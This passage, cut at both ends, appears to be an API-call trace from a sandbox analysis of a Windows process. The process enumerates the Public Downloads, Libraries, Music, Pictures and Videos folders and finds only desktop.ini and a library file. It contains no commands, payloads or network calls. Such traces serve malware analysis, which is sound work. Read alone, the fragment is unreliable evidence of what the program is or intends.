ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0209.128] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0209.128] FindClose (in: hFindFile=0x1d46a7e0 | out: hFindFile=0x1d46a7e0) returned 1 [0209.128] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de1a0) returned 1 [0209.128] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de160) returned 1 [0209.128] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1de270) returned 1 [0209.128] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Downloads", nBufferLength=0x105, lpBuffer=0x1e1ddd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Downloads", lpFilePart=0x0) returned 0x19 [0209.128] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Downloads\\*" (normalized: "c:\\users\\public\\downloads\\*"), lpFindFileData=0x1e1ddf80 | out: lpFindFileData=0x1e1ddf80*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x3816851, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a7e0 [0209.129] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x3816851, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.129] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x3816851, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x97421a72, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x97421a72, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0209.129] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x3816851, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x97421a72, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x97421a72, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0209.129] FindClose (in: hFindFile=0x1d46a7e0 | out: hFindFile=0x1d46a7e0) returned 1 [0209.129] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de1a0) returned 1 [0209.129] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de160) returned 1 [0209.129] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1de270) returned 1 [0209.130] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Libraries", nBufferLength=0x105, lpBuffer=0x1e1ddd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Libraries", lpFilePart=0x0) returned 0x19 [0209.130] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Libraries\\*" (normalized: "c:\\users\\public\\libraries\\*"), lpFindFileData=0x1e1ddf80 | out: lpFindFileData=0x1e1ddf80*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x3816851, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a8a0 [0209.130] FindNextFileW (in: hFindFile=0x1d46a8a0, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x3816851, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.130] FindNextFileW (in: hFindFile=0x1d46a8a0, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x3816851, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x97421a72, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x97421a72, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xaf, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0209.131] FindNextFileW (in: hFindFile=0x1d46a8a0, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3816851, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x97421a72, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x97421a72, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3e7, dwReserved0=0x0, dwReserved1=0x0, cFileName="RecordedTV.library-ms", cAlternateFileName="RECORD~1.LIB")) returned 1 [0209.131] FindNextFileW (in: hFindFile=0x1d46a8a0, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0209.131] FindClose (in: hFindFile=0x1d46a8a0 | out: hFindFile=0x1d46a8a0) returned 1 [0209.131] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de1a0) returned 1 [0209.131] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de160) returned 1 [0209.131] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1de270) returned 1 [0209.131] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Libraries", nBufferLength=0x105, lpBuffer=0x1e1ddd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Libraries", lpFilePart=0x0) returned 0x19 [0209.131] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Libraries\\*" (normalized: "c:\\users\\public\\libraries\\*"), lpFindFileData=0x1e1ddf80 | out: lpFindFileData=0x1e1ddf80*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x3816851, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a7e0 [0209.132] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x3816851, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.132] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x3816851, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x97421a72, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x97421a72, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xaf, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0209.132] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3816851, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x97421a72, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x97421a72, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3e7, dwReserved0=0x0, dwReserved1=0x0, cFileName="RecordedTV.library-ms", cAlternateFileName="RECORD~1.LIB")) returned 1 [0209.132] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3816851, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x97421a72, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x97421a72, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3e7, dwReserved0=0x0, dwReserved1=0x0, cFileName="RecordedTV.library-ms", cAlternateFileName="RECORD~1.LIB")) returned 0 [0209.133] FindClose (in: hFindFile=0x1d46a7e0 | out: hFindFile=0x1d46a7e0) returned 1 [0209.133] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de1a0) returned 1 [0209.133] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de160) returned 1 [0209.133] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1de270) returned 1 [0209.133] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Music", nBufferLength=0x105, lpBuffer=0x1e1ddd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Music", lpFilePart=0x0) returned 0x15 [0209.133] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Music\\*" (normalized: "c:\\users\\public\\music\\*"), lpFindFileData=0x1e1ddf80 | out: lpFindFileData=0x1e1ddf80*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x3816851, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a7e0 [0209.133] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x3816851, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.134] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x3816851, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x97421a72, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x97421a72, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0209.134] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0209.134] FindClose (in: hFindFile=0x1d46a7e0 | out: hFindFile=0x1d46a7e0) returned 1 [0209.134] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de1a0) returned 1 [0209.134] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de160) returned 1 [0209.134] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1de270) returned 1 [0209.134] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Music", nBufferLength=0x105, lpBuffer=0x1e1ddd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Music", lpFilePart=0x0) returned 0x15 [0209.134] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Music\\*" (normalized: "c:\\users\\public\\music\\*"), lpFindFileData=0x1e1ddf80 | out: lpFindFileData=0x1e1ddf80*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x3816851, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a7e0 [0209.135] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x3816851, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.135] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x3816851, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x97421a72, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x97421a72, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0209.135] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x3816851, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x97421a72, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x97421a72, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0209.135] FindClose (in: hFindFile=0x1d46a7e0 | out: hFindFile=0x1d46a7e0) returned 1 [0209.135] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de1a0) returned 1 [0209.135] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de160) returned 1 [0209.135] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1de270) returned 1 [0209.135] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures", nBufferLength=0x105, lpBuffer=0x1e1ddd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures", lpFilePart=0x0) returned 0x18 [0209.135] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Pictures\\*" (normalized: "c:\\users\\public\\pictures\\*"), lpFindFileData=0x1e1ddf80 | out: lpFindFileData=0x1e1ddf80*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x3816851, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a7e0 [0209.136] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x3816851, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.136] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x3816851, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x97421a72, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x97421a72, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0209.136] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0209.136] FindClose (in: hFindFile=0x1d46a7e0 | out: hFindFile=0x1d46a7e0) returned 1 [0209.136] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de1a0) returned 1 [0209.137] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de160) returned 1 [0209.137] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1de270) returned 1 [0209.137] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures", nBufferLength=0x105, lpBuffer=0x1e1ddd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures", lpFilePart=0x0) returned 0x18 [0209.137] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Pictures\\*" (normalized: "c:\\users\\public\\pictures\\*"), lpFindFileData=0x1e1ddf80 | out: lpFindFileData=0x1e1ddf80*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x3816851, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a7e0 [0209.137] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x3816851, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.137] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x3816851, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x97421a72, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x97421a72, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0209.138] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x3816851, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x97421a72, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x97421a72, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0209.138] FindClose (in: hFindFile=0x1d46a7e0 | out: hFindFile=0x1d46a7e0) returned 1 [0209.138] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de1a0) returned 1 [0209.138] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de160) returned 1 [0209.138] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1de270) returned 1 [0209.138] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Videos", nBufferLength=0x105, lpBuffer=0x1e1ddd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Videos", lpFilePart=0x0) returned 0x16 [0209.138] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Videos\\*" (normalized: "c:\\users\\public\\videos\\*"), lpFindFileData=0x1e1ddf80 | out: lpFindFileData=0x1e1ddf80*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x3816851, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a7e0 [0209.139] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x3816851, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.139] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x3816851, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x97421a72, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x97421a72, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0209.139] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0209.139] FindClose (in: hFindFile=0x1d46a7e0 | out: hFindFile=0x1d46a7e0) returned 1 [0209.139] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de1a0) returned 1 [0209.139] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de160) returned 1 [0209.139] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1de270) returned 1 [0209.139] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Videos", nBufferLength=0x105, lpBuffer=0x1e1ddd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Videos", lpFilePart=0x0) returned 0x16 [0209.139] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Videos\\*" (normalized: "c:\\users\\public\\videos\\*"), lpFindFileData=0x1e1ddf80 | out: lpFindFileData=0x1e1ddf80*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x3816851, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a7e0 [0209.140] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x3816851, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.140] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1ddf40 | out: 